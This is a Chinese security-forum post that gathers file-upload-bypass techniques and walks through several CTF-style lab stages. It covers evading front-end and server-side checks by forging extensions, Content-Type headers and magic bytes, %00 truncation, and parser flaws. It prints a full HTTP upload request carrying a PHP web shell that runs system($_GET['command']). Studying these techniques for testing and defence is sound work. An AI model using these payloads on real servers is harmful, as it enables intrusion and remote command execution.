-
-
[原创]个人整理文件上传绕过思路
-
发表于: 2020-9-16 20:58 6376
-
概述
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | 解题思路: 1 、上传文件测试,如果是前端验证,直接禁用JS,上传 2 、如果禁用JS不成功,把php文件后缀改为jpg,抓包之后改回来,如果后台服务器还是验证了,就加上空格 3 、如果是后台验证: 要上传的文件改为jpg格式,然后抓包之后修改文件后缀加空格 解题库: 1000 第三题: http: / / 58.213 . 153.14 : 1000 / stage / 3 / 上传文件之后,点击上传才进行验证,说明不是前验证,此时需要抓包,抓包之后在.php后面加上空格重新发包即可 1000 第四题 http: / / 58.213 . 153.14 : 1000 / stage / 4 / 上传文件之后,点击上传进行验证,说明不是前段,抓包之后,后缀加空格不对,利用php解析的先后顺序,从后往前解析 而猜测源码中可能进行了白名单验证,只要包含.jpg就会让通过,此处联想到,如果不光进行这个验证,还要文件头验证会 如何,需要加入jpg的文件头,contenttype也要设置为image / jpeg 1020 第九题 浏览php文件提示需要上传jpg,直接右上角禁用JS,之后再次上传得到flag值 http: / / 58.213 . 153.14 : 1020 / stage / 9 / upload1.php 1020 第十题 http: / / 58.213 . 153.14 : 1020 / stage / 10 / upload.php 此题比较变态,估计在源码中进行了限制,首先上传文件之后没有报错,说明不是前段验证,之后点击上传抓包,修改文件后缀.php不可以 修改文件后缀为jpg.php不可以,原以为是一个后缀解析的问题,加空格不可以,反过来.php.jpg不可以,加空格即可, filename = "x.php.jpg " 文件上传几个检测步骤: 前端验证: 方法 1 、禁用JS,直接上传 方法 2 、首先把php文件后缀改为jpg,抓包,修改包文件名后缀,之后再上传 服务器端验证: 方法 1 、检测文件头的话,需要抓包之后增加文件头: GIF = GIF89a ( 47494638 ) JPG = ???à JFIF (FFD8FF) BMP = BMF? ( 424D ) JPEG (jpg), 文件头:FFD8FF 文件尾:FF D9 PNG (png), 文件头: 89504E47 文件尾:AE 42 60 82 GIF (gif), 文件头: 47494638 文件尾: 00 3B ZIP Archive ( zip ), 文件头: 504B0304 文件尾: 50 4B php:content - type :application / octet - stream 方法 2 、 Content - Disposition: form - data; name = "upfile" ; filename = "x.jpg.php" 修改文件名 Content - Type : image / jpeg 修改文件类型 ???à JFIF (FFD8FF) 添加文件头 <?php echo '1' ?> Content - Disposition: form - data; name = "submit" 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。 常见校验上传文件的方法 一、客户端校验 通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg / .jpeg / .png后缀名的文件,而此时并没有发送数据包。 二、服务器端校验 校验请求头 content - type 字段,例如用PHP检测 if ($_FILES[ 'userfile' ][ 'type' ] ! = "image/gif" ){ .... } 通过自己写正则匹配来判断文件幻数(文件头)内容是否符合要求,一般来说属于白名单的检测,常见的文件头(文件头标志位)如下 ( 1 ).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00) ( 2 ).gif,”GIF89A”( 474946383961 ) ( 3 ). zip ,”ZipCompressed”( 504B0304 ) ( 4 ).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1 文件加载检测:一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传 1 、一次渲染(代码注入) 2 、二次渲染 后缀名黑名单校验 后缀名白名单校验 自定义 WAF校验,即使用不同的WAF产品来进行过滤,通常是独立与服务程序的一段中间程序或者硬件 三、对应校验的绕过方法 1. 客户端校验绕过: 直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp / php / asp,只用这种方法来检测是肯定可以绕过的。 2. 服务端绕过 使用burpsuite进行抓包,然后修改后缀名, ".php " 校验请求头content - type 字段绕过 通过抓包来修改Http头的content - type 即可绕过,也肯定是可以绕过这种检测 POST / upload.php HTTP / 1.1 TE: deflate,gzip;q = 0.3 Connection: TE, close Host: localhost User - Agent: libwww - perl / 5.803 Content - Type : multipart / form - data; boundary = xYzZY Content - Length: 155 - - xYzZY Content - Disposition: form - data; name = "userfile" ; filename = "shell.php" Content - Type : image / gif (原为 Content - Type : text / plain) <?php system($_GET[ 'command' ]);?> - - xYzZY - 文件幻数(文件头)检测绕过: 在木马内容的前面插入对应的文件头内容,例如:GIF89a ,更保险的方法是在可上传的文件中插入木马代码,然后修改后缀 文件加载检测: 通过例如加载文件进行图像渲染的方式来测试,这个时候就一般需要在正常的文件中插入木马代码了,例如图像,那么插入的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测,此时可以使用工具(称为插马器)来进行插入,例如edjpgcom,或者直接用copy命令来合成也可以。当然这种检测不一定能够完全绕过 后缀名检测 后缀黑名单检测: 找查blacklist(黑名单列表)的漏网之鱼,例如 大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过 扩展名:列表中如果忽略了某些后缀,能被解析的文件扩展名列表: jsp jspx jspf asp asa cer aspx php php php3 php4 pht exe exee 后缀白名单检测:白名单检测还是会比黑名单强一点,常见的绕过方法有 % 00 截断,还有服务器的解析漏洞 % 00 截断漏洞:如果存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件test.php % 00.jpg 解析漏洞:这类漏洞是本身服务器的中间件产生的,例如apache,nginx都被爆出过存在解析漏洞,存在解析漏洞的话,上传的安全性几乎就完全失去了,下面再详细分析。 |
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- [原创]个人整理文件上传绕过思路 6377
- [原创]个人整理文件包含漏洞攻略 5437
- [原创]个人整理密码学相关的知识大全 4925
- [原创]个人整理XSS攻略以及一些payload大全 6256
- [原创]个人整理sqlmap注入相关的知识要点 11382
看原图
赞赏
雪币:
留言: